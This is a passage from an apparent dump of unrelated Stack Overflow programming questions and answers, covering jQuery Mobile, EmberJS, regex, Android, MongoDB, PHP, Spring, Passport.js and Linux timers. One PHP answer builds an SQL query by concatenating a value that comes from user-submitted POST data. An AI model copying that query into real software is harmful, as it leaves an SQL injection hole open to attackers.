type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://code.jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" charset="utf-8" src="phonegap.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function onDeviceReady() { var ajax = new XMLHttpRequest(); ajax.open("GET", "http://192.168.2.30:8081/", true); ajax.send(); ajax.onreadystatechange = function () { alert(ajax.status); if (ajax.readyState == 4 &amp;&amp; (ajax.status == 200 || ajax.status == 0)) { document.getElementById('home').innerHTML = ajax.responseText; } } } $(document).bind("mobileinit", function () { alert('mobileinit'); // Make your jQuery Mobile framework configuration changes here! $.support.cors = true; $.mobile.allowCrossDomainPages = true; }); document.addEventListener("deviceready", onDeviceReady, false); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div data-role="page" id="home"&gt; &lt;/div&gt; &lt;div data-role="page" id="search"&gt; &lt;/div&gt; &lt;div data-role="page" id="recent"&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
20042416	0	 <p>If you can find out the first and last values of the labels and store them in variables before itself, then you can do some thing like this <a href="http://jsfiddle.net/E7GBd/" rel="nofollow">http://jsfiddle.net/E7GBd/</a> using </p> <pre><code>formatter: function(){} </code></pre> <p>Hope this will help you.</p>
1318627	0	 <p>Looping with String.contains() is the way unless you want to move in some heavy artillery like <a href="http://lucene.apache.org/java/docs/" rel="nofollow noreferrer">Lucene</a>.</p>
29423834	0	How to apply JSON data to an EmberJS Model Attribute <p>I'm very new to JS and I'm retrying EmberJS due to the impending 2.0 but especially because of EMBER CLI which I really like the structure.</p> <p>Anyways, I'm building a basic app and what I'm currently looking to do is make a JSON call to reddit to grab the subscriber number and apply that number to a models subscriber number attribute. I'll also be cycling through an array of models too.</p> <p>So for my instance, I've got models of lets say sports teams. Each team as a subreddit and when someone clicks the league they want, I'll be displaying all of the teams in that league.</p> <p>I've got the the JSON working from a pure JS aspect, and I've got the Ember app working w/o any JSON. So I'm just trying to figure out how to connect the two while also realizing I will probably need to do some tear down to properly connect the two.</p> <p>So my question is, how do I go about selecting a single piece of data from Reddit API to a single model attribute?</p> <p>Here is the JS I'm using currently to pull the subscriber number.</p> <pre><code>$.each( teamList, function( key, val ) { $.getJSON( "http://api.reddit.com/r/"+val+"/about", function foo(data) { $("#team").append(val + " : "); $("#team").append(data.data.subscribers + '&lt;br&gt;'); } ); }); </code></pre> <p>My current ember model setup is normal, but I am using fixtures since all data is static other than this model attribute.</p>
9774106	0	 <p>I would expect them to compile to identical bytecode.</p>
13476260	0	How to transform {{{...}}} to markdown code blocks with sed or vim? <p>How can I transform comments like</p> <pre><code>{{{ abc def }}} </code></pre> <p>to markdown comments like</p> <pre><code> abc def </code></pre> <p>(4 spaces at the start of each line) in vim or sed?</p> <p>I tried the following but I didn't get the spaces after the first line:</p> <pre><code>:%s/{{{\n\(\_.*\)\n}}}/ \1/ </code></pre>
10878568	0	 <p>According to your error log,</p> <p>TextView resource not found "android.content.res.Resources$NotFoundException". for solving it please check fallowing, 1-: Have you mention id for that textview in xml file. 2-: May be possible same id for more then one resource.</p> <p>I hope its help full to you. </p>
31160772	0	how to create vertical scroll effect for slider using js ,html,css <p><a href="http://www.squarespace.com/" rel="nofollow">http://www.squarespace.com/</a> i want to create similar sliding effect for my website could someone suggest how to create such kind of effect I tried using fullpage.js but it doesnot give the same effect is there a plugin or js which could provide such kind of effect</p>
28026010	0	How to run the script both 'on load' and 'on resize' (on a particular window width!) in jQuery? <p>In my current website project I've integrated <a href="https://github.com/alvarotrigo/fullPage.js" rel="nofollow">Alvaro Trigo's FullPage plugin</a> but since it had a very uncommon behaviour on mobile devices (also due to my project's design requirements), I've decided to switch it off when the viewport width is below 768px. For this purpose I just add a simple if-statement to the script:</p> <pre><code>$(document).ready(function(){ if ($(window).width() &gt; 768 ) { $('#fullpage').fullpage({ // code... code... code... }); } }); </code></pre> <p>The problem is that it only takes effect after refreshing the page; so when I go below 768px and reload the page the plugin is switched off, but when I then resize the browser above the mentioned breakpoint, it's still off (and vice versa). I think I should add some lines of code dealing with resize, but unfortunately my current knowledge of JS/jQ doesn't let me do that. Thanks in advance for your time.</p>
3322826	0	 <p>The answer would be yes, assuming you consider this a good example of what you want to do:</p> <p><a href="http://pyjs.org/examples/Space.html" rel="nofollow noreferrer">http://pyjs.org/examples/Space.html</a></p> <p>This browser-based version of Asteroids was created using Pyjamas, which enables you to write the code in python in one place, and have it run either on the browser, or on the desktop:</p> <p><a href="http://pyjs.org/" rel="nofollow noreferrer">http://pyjs.org/</a></p> <p>Having recently found Pyjamas, and also preferring to consolidate my code in one language (Python!) and location (instead of having some code server-side, and some browser/client-side, in different languages), it's definitely an exciting technology. Its authors have ported the Google Web Toolkit to Python, a really impressive feat, retaining the expressive power of Python (something like 80,000 lines of Java was shrunk to 8,000 lines of Python). More Pythonistas should know about it. :)</p>
10943872	0	 <p>You should probably adapt your server side code to ignore the null values and return only the fields that are set (thus avoiding unnecessary bandwidth usage).<br> In your clientside code I suggest you have a set of defaults for your template and extend them received JSON with the defaults.<br> I'd you're using jquery, the code would look like this : </p> <pre><code>var defaults ={someDay:"somePlace"}; var object = $.extend({},defaults,theJson); </code></pre> <p><strong>update</strong><br> and in order to "clean up" the object in php, you can do something like : </p> <pre><code>foreach($obj as $k =&gt; $v) if($v == null) unset($obj[$k]); </code></pre>
35793271	0	 <p>Pipe Get-ChildItem to select-object :</p> <pre><code>$source=Get-ChildItem "$source_path\\CUST_MEA_*.csv" | select -Last 1 </code></pre>
10476158	0	 <pre><code>if (preg_match('/\b\d{4}-\d{2}-\d{2}\b/' $str)) { // ... } </code></pre> <p>If the word boundary (<code>\b</code>) doesn't do the trick, you could try <a href="http://www.regular-expressions.info/lookaround.html" rel="nofollow">negative lookbehind and lookaheads</a>:</p> <pre><code>if (preg_match('/(?&lt;!\d)\d{4}-\d{2}-\d{2}(?!\d)/' $str)) { // ... } </code></pre> <p>As an additional validation, you could use <a href="http://php.net/manual/en/function.checkdate.php" rel="nofollow"><code>checkdate()</code></a> to weed out invalid dates such as <code>9999-02-31</code> as mentioned in <a href="http://stackoverflow.com/a/10476175/166339">this answer</a>.</p>
10634537	0	V4l2 : difference between : Enque, Deque and Queue(ing) of the buffer? <p>I am a noob in <strong>v4l2</strong> and tryign to find out the difference bweeten the various ioctl calls made during the camera image capture. I am following this <a href="http://linuxtv.org/downloads/presentations/summit_jun_2010/20100206-fosdem.pdf" rel="nofollow">pdf</a> from the linuxtv org site I wanted to know the difference between the following : </p> <p><strong>Query,Enque, Deque and Queue(ing)</strong> of the buffer.Is there is a particular sequence in fetching the raw data from the camera .Does the sequence varies in case of streaming and capture mode?</p> <p>Can any one plz explain. Rgds, Rp</p>
26593446	0	Write the plugin when Selcting the lookup flied and according to filed selection Show/Hide Address filed in form.....? <p>We Have Contact Entities in contact Entitie one lookup filed company Name in that lookup having two values 1.Account and 2.Contact . When we are selecting contact show the address filed when we select account hide the address filed we needs to write the plugin to Execute that works. Kindly any one help me on the same.</p> <p>Thanks!!</p> <p>Rajesh Singh </p>
31593196	0	 <p>Try this,</p> <pre><code>session_start(); if(isset($_POST['viewrecord'])){ $sup_code = $_POST['vhidden']; } $_SESSION["sup_code"] = $sup_code; </code></pre> <p>SQL Query</p> <pre><code>$sql = "SELECT sup_code, firstname, lastname, email, telephone FROM dbo.table WHERE sup_code = '".$_SESSION["sup_code"]."'"; </code></pre>
10849567	0	Upgrade setup with inno setup <p>I have installed the setup which has build from inno setup advanced installer, and installed the patch with fixes and replaced the old assemblies.</p> <p>Now we upgrade the setup, during installation, the old version has uninstalled and installing new version but the two assemblies has missed which has replaced in patch setup. But if we uninstall first setup manually and then install with upgraded setup it works fine.</p> <p>Can you please help to upgrade the all files.</p> <p>Thanks, Kannan</p>
21176064	0	 <p>You can use <code>Regex</code> when you search a string in MongoDB:</p> <pre><code>Query.Matches("story","&lt;Regex for: moon or cow or Neil&gt;"); </code></pre> <p>Look <a href="http://stackoverflow.com/questions/5421952/how-to-match-multiple-words-in-regex">here</a> to see how to write a regex that matches multiple words. It's basically this:</p> <pre><code>^(?=.*\bmoon\b)(?=.*\bcow\b)(?=.*\bNeil\b) </code></pre> <p>In conclusion:</p> <pre><code>collection.Find(Query.Matches( "story", "^(?=.*\bmoon\b)(?=.*\bcow\b)(?=.*\bNeil\b)")) .SetSortOrder(SortBy.Descending("Submitted")).Skip(skip).Take(limit); </code></pre>
35457343	0	How to add year display script in $('body').append Script? <p>Javas experts, </p> <p>i have this script:</p> <pre><code>&lt;script type='text/javascript'&gt; //&lt;![CDATA[ $(document).ready(function() { var credits= $('body').append('&lt;div id="wrap"&gt;&lt;div id="wrapp-inner"&gt;&lt;div id="wrapleft"&gt;&lt;/div&gt;&lt;div id="wrapright"&gt;Designed Templatezy&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'); //]]&gt; &lt;/script&gt; </code></pre> <p>Now i want to add year script <code>&lt;script type='text/javascript'&gt;document.write(new Date().getFullYear());&lt;/script&gt;</code> to that <code>&lt;div id="wrapleft"&gt;</code> div:</p> <p><strong>see example below:</strong> </p> <pre><code> &lt;script type='text/javascript'&gt; //&lt;![CDATA[ $(document).ready(function() { var credits= $('body').append('&lt;div id="wrap"&gt;&lt;div id="wrapp-inner"&gt;&lt;div id="wrapleft"&gt; document.write(new Date().getFullYear());&lt;/div&gt;&lt;div id="wrapright"&gt;Designed Templatezy&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'); //]]&gt; &lt;/script&gt; </code></pre> <p>I add my year script as the above but it does not worked, i am not well expert in java or jquery, so please anyone can add this year script same to that id in append body. thanks and hope to see your reply.</p>
7559073	0	android - Cursor returning wrong values <p>I'm querying some products in SQLite database, but same base in 2 differents android's versions return differents values.</p> <p>Select result in database.db3 using SQLite Expert:</p> <p><img src="https://i.stack.imgur.com/RHvaU.png" alt="result"></p> <p>I create this code after select, to test:</p> <pre><code> if(cursor.moveToFirst()){ while(!cursor.isAfterLast()){ log("CDPROD:" + cursor.getString(cursor.getColumnIndex("CDPROD"))); cursor.moveToNext(); } } </code></pre> <p>Log Result in android 2.2:</p> <pre><code>09-26 14:30:08.947: INFO/LOGG(20497): CDPROD:000000000000211934 09-26 14:30:08.967: INFO/LOGG(20497): CDPROD:000000000000211944 09-26 14:30:08.967: INFO/LOGG(20497): CDPROD:000000000000212020 09-26 14:30:08.967: INFO/LOGG(20497): CDPROD:000000000000212124 09-26 14:30:08.967: INFO/LOGG(20497): CDPROD:000000000000214280 09-26 14:30:08.967: INFO/LOGG(20497): CDPROD:000000000000212886 </code></pre> <p>Log Result in android 2.1:</p> <pre><code>09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:211934 09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:211944 09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:212020 09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:212124 09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:214280 09-26 14:18:16.772: INFO/LOGG(1039): CDPROD:212886 </code></pre> <p>This is a bug in Android??</p> <p>Ty</p>
13480810	0	 <p>You can't access the Downloads folder directly as - contrary to the Documents library - there's no special capability for this folder. </p> <p>You'll have to use a FileOpenPicker to let the user select a folder where they want to have their downloads stored. Then you can store the access token and use it for subsequent files. For more information on access tokens and the FileOpenPicker, see this article: <a href="http://msdn.microsoft.com/en-us/library/windows/apps/jj655411.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/windows/apps/jj655411.aspx</a></p> <p>Depending on your use case you may want to download the files into your applications localstorage folder and let the user copy or open them individually from within your app.</p>
3867644	0	Grouped UITableView & edit-mode: strange behaviour <p>recently I implemented an grouped UITableView with editing, but the problem is: if the UITableView is in edit-mode, the content of the cells is moved to the right and this looks really unattractive.</p> <p>Thanks in advance.</p> <p>Regards, Sascha</p>
22882892	0	Website directory structure different from eclipse <p>I am coding a website using java servlets and am using eclipse and tomcat. When I test it using localhost, it works fine. But when I am deploying it on my actual website, the directory structure is messed up and the files are not called properly. </p> <p>My eclipse directory structure on localhost is </p> <p>Project Name .src/packageName/java files .WebContent/HTML files.</p> <p>When I make a call from the html files, I use the relative location and tomcat automatically knows to look in the src/packageName folder. For example, from the /WebContent/login.html page makes a onClick call as follows, . This will automatically trigger the java file in /src/packageName/welcome</p> <p>When I am deploying it in my actual website, the WebContent/login.html is throwing an error WebContent/welcome file is not found. How do I tell my website to search in /src/packageName folder?</p>
29800284	0	How do i setup magnific-popup <p>I am Really new to this so please keep that in mind before judging me.</p> <p>I am having problems getting the script to work for me. </p> <p>What i did was following:</p> <ol> <li><p>I built my js with the builder on the Page <a href="http://dimsemenov.com/plugins/magnific-popup/#mfp-build-tool" rel="nofollow">Magnific - Popup</a></p></li> <li><p>I downloaded the CSS File.</p></li> <li><p>I included the scriptfile just before the /body tag</p></li> <li><p>I tried to open popup with:<br> <code>&lt;a class="popup-iframe mfp-iframe" href="index.php/9-uncategorised/230-contact"&gt;contact&lt;/a&gt;</code></p></li> </ol> <p>I dont know what i am missing here :( i tried different classes, dont know which they were.</p> <p>Any help would be really appreciated</p> <p><strong>EDIT:</strong> nvm i fixed it for me with downloading a other plugin (NoNumbers Modals) Now everything works for me. </p>
34606214	0	 <p>Is your routes inside the <code>web</code> middleware ? Laravel 5.2 has a new feature called middleware groups. In order to use session, your route should be inside the <code>web</code> middleware. If you check your <code>Kernel.php</code>, you will get a clear idea about the middlewares inside the <code>web</code> middleware group</p> <pre><code> 'web' =&gt; [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, ], </code></pre>
8043972	0	 <p>The main way would be to register the filter file with <code>regsvr32 filter.dll</code> and than create the filter with it's CLSID in your application.</p> <p>If the filter are in the same codebase as the application, you can just create the filter with <code>new</code> and use it.</p> <p>I prefer to load the filter.dll with <code>CoLoadLibrary</code> to get the IClassFactory of the filter and create the filter. You can test this with <a href="http://code.google.com/p/graph-studio-next/" rel="nofollow">GraphStudioNext</a>. You can find sample source code to load a filter this way <a href="http://code.google.com/p/graph-studio-next/source/browse/trunk/src/FilterFromFile.cpp" rel="nofollow">here</a>.</p>
14736701	0	width:100% not extending all the way in ipad portrait mode <p>I have a webpage whose width is over 1000px wide. There is a background DIV element that spans across the entire width</p> <pre><code>.bg_horizon { position:absolute; width:100%; height:800px; background-color:#f7f7f7; border-bottom:1px solid #8d9092; z-index:-9999; margin:0; padding:0; } </code></pre> <p>This box renders fine in landscape orientation and on desktops, but on ipad portrait mode the webpage is wider than the viewport... this is fine, as the user can just pan around, we don't allow scaling... but the background div only rendered the css width:100% up to the visible portion of the viewport. When I pan around, I can see the rest of the webpage but the div did not extend into those areas. How can I get width:100% to span across the entire webpage?</p>
14983603	0	 <p>You can do something like this (starting with Lloyd's original regex):</p> <pre><code>^(?:(?:CN|OU|DC)\=\w+,)*(?:CN|OU|DC)\=\w+$ </code></pre> <p>Match zero or more groups followed by a comma, then one final group.</p> <p>If you want to require there at least be two total groups, just change <code>*</code> to <code>+</code>:</p> <pre><code>^(?:(?:CN|OU|DC)\=\w+,)+(?:CN|OU|DC)\=\w+$ </code></pre> <p>If you want to require that the number of groups is within a certain range, use a quantifier:</p> <pre><code>^(?:(?:CN|OU|DC)\=\w+,){1,3}(?:CN|OU|DC)\=\w+$ </code></pre> <p>This would require between two and four groups total.</p> <p>If you have other requirements that you want to enforce (such as always must contain DC, or has at least two DC if OU and CN are absent), then you are asking too much of a single regex. You will need a multi-step approach.</p>
40961230	0	Temporary name resolution error with Test Kitchen EC2 <p>When I run kitchen create with the config below I get an error: </p> <pre><code>"[getaddrinfo: Temporary failure in name resolution] on default-centos-7". </code></pre> <p>This system can resolve dns no issues so I'm not sure what the issue is... </p> <pre><code>--- driver: name: ec2 aws_ssh_key_id: chef security_group_ids: ["sg-5d3276a0"] region: eu-east-1 require_chef_omnibus: true instance_type: t1.micro associate_public_ip: true provisioner: name: chef_zero cookbook_path: cookbooks roles_path: roles environments_path: environments data_bags_path: data_bags platforms: - name: centos-7 image_id: ami-96a818fe transport: ssh_key: /home/user/aws_key.pem username: root suites: - name: default run_list: - recipe[website::default] attributes: </code></pre> <p>Changing the Platform to an ubuntu ami gives the same error. Any ideas?</p>
24557480	0	Import text file with ISO 8601 date/time values (2014-07-02T16:09:49-07:00) <p>When importing a text file into Access 2007 with date/time values like </p> <pre><code>2014-07-02T16:09:49-07:00 </code></pre> <p>Access is unable to convert to date and shows the same as text. How do I convert the same in to date/time in Access?</p>
23410060	0	 <p><code>\xa0</code> is <a href="http://en.wikipedia.org/wiki/Non-breaking_space" rel="nofollow">Non-breaking space</a> which is shown as a simple space in a web-page. Is code is <code>A0</code> which is outside of of ASCII range (0-127):</p> <pre><code>Python 2.7.6 (default, Mar 22 2014, 22:59:56) &gt;&gt;&gt; u'Rs.\xa05,000\n\r\n\t\t\t\t\t / -'.encode() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; UnicodeEncodeError: 'ascii' codec can't encode character u'\xa0' in position 3: ordinal not in range(128) </code></pre> <p>So you have to manually replace it with a simple space, before encoding it to ASCII.</p> <p>Be default <a href="https://docs.python.org/2/library/stdtypes.html#str.strip" rel="nofollow"><code>str.strip</code></a> strips only whitespace, so you should manually strip chars <code>/ -</code>.</p> <p>This should work:</p> <pre><code>&gt;&gt;&gt; u'Rs.\xa05,000\n\r\n\t\t\t\t\t / -'.replace(u'\xa0', u' ').encode().rstrip('-/ ').strip() 'Rs. 5,000' &gt;&gt;&gt; </code></pre>
9565209	0	 <p>You can save popup window's text in webpart property in toolpart.</p> <p>This property will be accessed in WebPart &amp; ToolPart also.</p> <p>For WebPart Properties see below example,</p> <pre><code> [Personalizable(PersonalizationScope.Shared)] [WebBrowsable(true)] [Category("Display")] [WebDisplayName("Popup Text")] [Description("You can configure this text from here in popup")] public string PopupText { get; set; } </code></pre> <p>add above code in WebPart Class and use this "PopupText" property in assign Literal control OR direct render this property in overwrite Render method.</p>
39123108	0	 <p>Both anchor tags are displayed as blocks by neon-forms.css, so they can't be side by side:</p> <pre><code>.mail-env .mail-sidebar .mail-menu &gt; li a { display: block; } </code></pre> <p>So you could change it to inline-block, for example, but it wouldn't solve the problem anyway because of html structure: badge will stay inside of the first anchor tag.</p> <p>Is it possible for you to change html to something like this?</p> <pre><code>&lt;li class="active"&gt; &lt;!--1st a tag --&gt; &lt;a href="#" style="padding:12px;"&gt; &lt;i class="entypo-dot"&gt;.&lt;/i&gt; Moses Danko &lt;span class="label label-info"&gt;Parent&lt;/span&gt; &lt;/a&gt; &lt;!--2nd a tag --&gt; &lt;a href="#" onclick="confirm_modal('&lt;?php ... ?&gt;');"&gt; &lt;i class="entypo-trash"&gt;&lt;/i&gt;Del &lt;/a&gt; &lt;span class="badge badge-danger pull-right"&gt; 2 &lt;/span&gt; &lt;/li&gt; </code></pre> <p>And css to:</p> <pre><code>.mail-env .mail-sidebar .mail-menu &gt; li a { display: inline-block; } </code></pre>
8349390	0	 <p>A clean example.</p> <pre><code>&lt;?php header('Content-Type: application/download'); header('Content-Disposition: attachment; filename="example.txt"'); header("Content-Length: " . filesize("example.txt")); $fp = fopen("example.txt", "r"); fpassthru($fp); fclose($fp); ?&gt; </code></pre>
34455312	0	 <p>From their documentation.</p> <blockquote> <p>The query() method returns an object of type Zend_Db_Statement or PDOStatement, depending on the adapter type</p> </blockquote> <p>Depending on configuration, PDO can throw Exceptions on errors which you can try/catch or you can inspect the resulting object that is passed back from Zend for errors.</p> <p>For reference:</p> <p><a href="http://php.net/manual/en/pdostatement.errorcode.php" rel="nofollow">http://php.net/manual/en/pdostatement.errorinfo.php</a> <a href="http://php.net/manual/en/pdostatement.errorcode.php" rel="nofollow">http://php.net/manual/en/pdostatement.errorcode.php</a></p>
33257995	0	 <p>Navigate to closing/opening bracket feature in IntelliJ could also be useful for this. It works for XML/HTML, Java, etc. See <a href="https://www.jetbrains.com/idea/help/navigating-to-braces.html" rel="nofollow">documentation</a> for more details.</p> <p>The shortcuts are:</p> <ul> <li>Navigate to opening bracket: <kbd>Command</kbd>+<kbd>Alt</kbd>+<kbd>[</kbd> (<kbd>Ctrl</kbd>+<kbd>[</kbd> on Windows/Linux)</li> <li>Navigate to closing bracket: <kbd>Command</kbd>+<kbd>Alt</kbd>+<kbd>]</kbd> (<kbd>Ctrl</kbd>+<kbd>]</kbd> on Windows/Linux)</li> </ul>
18641336	0	 <p>I know your <code>index.html</code> is placed in the <code>assets</code> folder, but try to change the <i>super.loadUrl</i> line to:</p> <pre><code>super.loadUrl("file:///android_asset/www/index.html"); </code></pre> <p>As per this tutorial <a href="http://docs.phonegap.com/en/2.1.0/guide_getting-started_android_index.md.html" rel="nofollow">PhoneGap Documentation - Getting Started with Android</a></p>
12849109	0	 <p>A standard controller method is going to return something with reference to the view associated with it (a <code>ModelAndView</code> or just a <code>String</code> matching the view name, for example).</p> <p>If you want to return custom objects, you need to specify that the response body is content, rather than a view reference. You can do this with the <code>@ResponseBody</code> annotation.</p> <pre><code>@RequestMapping(value = "getSomeList.do", method = RequestMethod.GET) public @ResponseBody List&lt;String&gt; getSomeList() { List&lt;String&gt; myList = getMyList(); return myList; } </code></pre> <p>Combined with a library like <a href="http://static.springsource.org/spring/docs/3.0.x/javadoc-api/org/springframework/web/bind/annotation/ResponseBody.html" rel="nofollow">Jackson</a>, you can serialize this to JSON and make it easily parsable in your view.</p>
20152526	0	Cannot load a custom gem <p>I have a real newbie problem. I wrote a very small (one-file) library and I wanted to publish it in a gem so that I can use it in other projects modularly. I used the following gemspec:</p> <pre><code>Gem::Specification.new do |s| s.name = 'symbolize-array' s.version = '1.0.0' s.date = '2013-11-22' s.summary = "Symbolizes strings in arrays" s.description = "" s.files = ["lib/array.rb"] s.homepage = 'https://github.com/renra/symbolize-array-ruby' s.license = 'MIT' end </code></pre> <p>I build the gem. Fine. I publish the gem. Fine. I install the gem from rubygems. Fine. But when I run irb and do require 'symbolize-array' I get:</p> <pre><code>LoadError: cannot load such file -- symbolize-array from /home/renra/.rvm/rubies/ruby-2.0.0-p247/lib/ruby/site_ruby/2.0.0/rubygems/core_ext/kernel_require.rb:45:in `require' from /home/renra/.rvm/rubies/ruby-2.0.0-p247/lib/ruby/site_ruby/2.0.0/rubygems/core_ext/kernel_require.rb:45:in `require' from (irb):4 from /home/renra/.rvm/rubies/ruby-2.0.0-p247/bin/irb:13:in `&lt;main&gt;' </code></pre> <p>As you can see from the backtrace I use rvm. When I run 'gem environment' and I go to the gem path I can see my gem is installed just like the others. I can require the others, but I cannot require my gem. So I guess this is not a problem with the load path (I've seen questions that were answered like that) but maybe in the way I built the gem. Grateful for your ideas.</p>
33442526	0	 <p>You can "highlight" mapped portions of your img like this:</p> <ul> <li>Exactly overlay a canvas element of the same size using CSS</li> <li>Tell canvas not to respond to mouse/touch events: <code>pointer-events:none</code></li> <li><p>When a mapped area is clicked, tell canvas to draw that area in a low-opacity fill using path commands:</p> <pre><code>context.beginPath(); context.moveTo(381,90); context.lineTo(386,64); context.lineTo(421,32); context.lineTo(462,19); context.lineTo(501,32); context.lineTo(535,62); context.lineTo(540,83); context.closePath(); // fill the path area with a low-opacity red (or color of you choosing) context.globalAlpha=0.15; context.fillStyle='red'; context.fill(); // this fills the path context.globalAlpha=1.00; // just resetting to default opacity </code></pre></li> </ul> <p>That allows you to keep your existing code that uses img.</p> <p>Alternatively, if your design permits significant refactoring, you can draw the image on canvas and use <code>context.isPointInPath</code> to hit-test each path versus the mouse-click position. Then fill the hit path with the low-opacity fill.</p> <p><strong>[ Addition: Saving area coordinates for later use in hit-testing ]</strong></p> <p><em>Warning: untested code, might need tweaking</em></p> <p>For easy re-use of each areas coordinates, you can put each set of coordinates in an object and put those objects in an array: </p> <pre><code>var areas=[]; // first area coordinates arrays.push([ {x:381,y:90}, {x:386,y:64}, ... etc ]); // second area coordinates arrays.push([ {x:509,y:115}, {x:511,y:127}, ... etc ]); ... </code></pre> <p>Then use those saved area coordinates to do your hit-testing:</p> <pre><code>function isMouseInArea(mouseX,mouseY){ var index; // index of any "hit" area. leave it initially null for(var i=0;i&lt;areas.length;i++){ // create a path from this area's coordinates defineAreaPath(areas[i]); // test if the mouse is inside this area if(ctx.isPointInPath(mouseX,mouseY)){ index=i; } } // return any "hit" index of areas[] or return null if no hits return(index); } // utility function to define a path from the supplied coordinates function defineAreaPath(pts){ // create a path from this area's coordinates ctx.beginPath(); ctx.moveTo(pts[0].x,pts[0].y); for(var i=1;i&lt;pts.length;i++){ ctx.lineTo(pts[i].x,pts[i].y); } ctx.closePath(); } </code></pre> <p>And you can use the <code>isMouseInArea</code> function like this:</p> <pre><code>var index=isMouseInArea(mouseX,mouseY) if( index ){ // draw the area path that was "hit" by the mouse defineAreaPath(areas[index]); // fill that path with low-opacity fill ctx.globalAlpha=0.15; ctx.fillStyle='red'; ctx.fill(); ctx.globalAlpha=1.00; } </code></pre>
10975851	0	 <p>I'm a huge fan of <a href="https://github.com/caolan/async" rel="nofollow">Caolan's async library</a>. The big idea with said library is that the first argument of every callback is an error, and if no error is present, the next function in the chain is called. So your could could look like this:</p> <pre><code>vote = (res, data) -&gt; async.series [ (next) -&gt; Case.findOne { caseId: data.id }, next (next) -&gt; myvote = new Vote({case: mycase_id}).save(next) ], (err, result) -&gt; if err console.error err else console.log "Success!" </code></pre> <p>The chain of functions breaks on the first error thrown, that way your final callback is really only responsible for handling a single error. This is great for serial processes where you want to halt and report the first issue you run into.</p>
35359118	0	 <p><code>callbackURL</code> tells facebook on which external address could it call back your application after the user completes the authentication form, whereas <code>sucessRedirect</code> is the pair of <code>failureRedirect</code> are internal routes executed depending on the authentication outcome.</p> <p><code>passport.authenticate(...)</code> orchestrates the whole process. The "happy" flow is roughly the following:</p> <ol> <li><code>passport.authenticate(...)</code> detect that there is an unauthenticated user tries to access the given route, redirects it to facebook oauth;</li> <li>if facebook auth was successfull your verify callback is called (this is your "Function A"), which should match the user by facebook userid in your internal user database and set things up accordingly (typically create a session for the user);</li> <li>If everything goes well the user gets redirected to <code>successRedirect</code>, which is usually an internal route like <code>/profile</code>, from that point you could use user data you looked up at the previous step.</li> </ol> <p>I hope that explains it.</p>
38724737	0	 <p>You could use the <code>stringr</code> package with the following regular expression (anchored at the front of the string using <code>^</code>):</p> <pre><code>library(stringr) sentences &lt;- c("I went to the store last night", "I went to the park yesterday", "I went to starbucks this morning") str_replace(sentences, "^I went to( the)?", "REPLACED") # [1] "REPLACED store last night" "REPLACED park yesterday" # [3] "REPLACED starbucks this morning" </code></pre> <p>If there are multiple instances to replace within the same string, you may want to omit the <code>^</code> and use <code>str_replace_all()</code></p>
4859507	0	 <p>I guess <a href="https://jira.springsource.org/browse/SEC-1408" rel="nofollow">this jira</a> issue of spring security describes your problem and how to handle this.</p>
15657151	0	 <p>It think you mean <a href="http://goose.ycp.edu/~dhovemey/fall2011/cs201/lecture/lecture25.html" rel="nofollow noreferrer"><em>Sentinel nodes</em></a> in a linked lists.</p> <p>Some linked-list implementations put one or two extra nodes at the beginning and ending (or both of them) to implement some algorithms simpler. These nodes don't hold special data as a entry of data-structure. It's an alternative for using<code>NULL</code> as first/last node indicators.</p> <p><img src="https://i.stack.imgur.com/K9CyZ.png" alt="enter image description here"></p> <p>The <code>std::list</code> is supposed to be a list in the standards. It maybe uses <em>sentinel nodes</em> or not.</p>
5143732	0	 <p>You might want to try parsing the HTML with <a href="http://jsoup.org/" rel="nofollow">jsoup</a> and collect all the anchor tags from the page.</p>
24645174	0	How to parse json response from ajax? <p>I am new to json and ajax this is my first example can any one help me out with this.</p> <pre><code>$.ajax({ type: "GET", url: "ajs/index", dataType: "JSON", success: function(data) { var obj = JSON.parse(data); $("#result").html(obj.name); } }); </code></pre> <p>The output of data is of the form:</p> <pre><code>[Object {id=10, name="ss", title="ss", content="h", ...}, Object {id=12, name="lo", title="gi", content="c", ...}, Object {id=13, name="lo", title="gi", content="c", ...}, Object {id=14, name="lo", title="gi", content="c", ...}, Object {id=15, name="n", title="m", content="m", ...}] </code></pre> <p>The output of obj(after parsing) is of the form:</p> <pre><code>[{"id":10,"name":"ss","title":"ss","content":"h","created_at":"2014-07-07T10:07:02.398Z","updated_at":"2014-07-07T10:07:02.398Z"}]{"id":12,"name":"lo","title":"gi","content":"c","created_at":"2014-07-08T05:26:05.816Z","updated_at":"2014-07-08T05:26:05.816Z"} </code></pre> <p>when i use <strong>obj.name</strong> it is nt displaying any data how can i display all my data.</p>
40959957	0	Linux Timers in C <p>I am working on some Linux applications that uses timers.I need to change the timer interval during runtime.So is there any API that could detect whether any previous timer is running or not.My idea is like i will detect any previous running timer and will delete it and then will re-create the timer with new time value.</p> <p>I am using timer_create(),timer_settime() for timer creation and timer starting. </p> <p>Thanks&amp;Regards Amit Kumar</p>
